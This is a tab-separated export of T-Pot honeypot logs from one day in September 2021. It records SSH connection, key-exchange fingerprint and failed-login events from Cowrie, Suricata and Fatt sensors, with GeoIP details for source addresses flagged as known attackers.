31534	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:46:10.128684+03	2021-09-20 15:00:02.291716+03	{"_id": "xgYHA3wBvYTbRNuEHETp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 679072791381526, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56130, "dest_port": 22, "timestamp": "2021-09-20T11:46:10.128684Z", "@timestamp": "2021-09-20T11:46:10.128Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31513	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:57.695598+03	2021-09-20 15:00:02.261717+03	{"_id": "rQYGA3wBvYTbRNuE7kT_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58878, "timestamp": "2021-09-20T11:45:57.695598", "@timestamp": "2021-09-20T11:45:57.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31514	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:45:57.870843+03	2021-09-20 15:00:02.263717+03	{"_id": "rwYGA3wBvYTbRNuE8ERK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4c4add51e315", "@version": "1", "timestamp": "2021-09-20T11:45:57.870843Z", "@timestamp": "2021-09-20T11:45:57.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31515	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:46:00.297913+03	2021-09-20 15:00:02.264717+03	{"_id": "twYGA3wBvYTbRNuE-EQc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:54522 (192.168.176.2:22) [session: 190f8168c98a]", "session": "190f8168c98a", "@version": "1", "protocol": "ssh", "src_port": 54522, "dest_port": 22, "timestamp": "2021-09-20T11:46:00.297913Z", "@timestamp": "2021-09-20T11:46:00.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31516	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:46:00.893547+03	2021-09-20 15:00:02.265716+03	{"_id": "uwYGA3wBvYTbRNuE-US-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:46:00.234012+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1925283321516572, "payload": "AAADzAYUO22o6UFmqtuYwj6ecHgn6wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54522, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:46:00.893547Z", "@timestamp": "2021-09-20T11:46:00.893Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......;m..Af....>.px'....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31517	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:00.303055+03	2021-09-20 15:00:02.267716+03	{"_id": "vAYGA3wBvYTbRNuE-kS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54522, "timestamp": "2021-09-20T11:46:00.303055", "@timestamp": "2021-09-20T11:46:00.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31568	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:46:19.42126+03	2021-09-20 15:00:02.337716+03	{"_id": "-wYHA3wBvYTbRNuERET7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35646, "timestamp": "2021-09-20T11:46:19.421260", "@timestamp": "2021-09-20T11:46:19.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31518	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:46:00.894217+03	2021-09-20 15:00:02.268717+03	{"_id": "vgYGA3wBvYTbRNuE_EQE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "190f8168c98a", "@version": "1", "timestamp": "2021-09-20T11:46:00.894217Z", "@timestamp": "2021-09-20T11:46:00.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31519	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:45:57.870234+03	2021-09-20 15:00:02.270717+03	{"_id": "rgYGA3wBvYTbRNuE7kT_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58878, "dest_port": 22, "timestamp": "2021-09-20T11:45:57.870234", "@timestamp": "2021-09-20T11:45:57.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31520	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:45:58.659187+03	2021-09-20 15:00:02.271717+03	{"_id": "sAYGA3wBvYTbRNuE8ERK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [root/easy123] failed", "session": "4c4add51e315", "@version": "1", "password": "easy123", "username": "root", "timestamp": "2021-09-20T11:45:58.659187Z", "@timestamp": "2021-09-20T11:45:58.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31521	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:45:59.838537+03	2021-09-20 15:00:02.272716+03	{"_id": "uAYGA3wBvYTbRNuE-EQc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4c4add51e315", "@version": "1", "duration": 2.1439151763916016, "timestamp": "2021-09-20T11:45:59.838537Z", "@timestamp": "2021-09-20T11:45:59.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31522	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:46:00.300954+03	2021-09-20 15:00:02.273716+03	{"_id": "uQYGA3wBvYTbRNuE-EQc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "190f8168c98a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:46:00.300954Z", "@timestamp": "2021-09-20T11:46:00.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31580	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:29.743707+03	2021-09-20 15:00:02.351717+03	{"_id": "KAYHA3wBvYTbRNuEaUVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "ba1faa881985", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:46:29.743707Z", "@timestamp": "2021-09-20T11:46:29.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31523	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:46:00.367042+03	2021-09-20 15:00:02.275716+03	{"_id": "ugYGA3wBvYTbRNuE-US-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 1925283321516572, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54522, "dest_port": 22, "timestamp": "2021-09-20T11:46:00.367042Z", "@timestamp": "2021-09-20T11:46:00.367Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
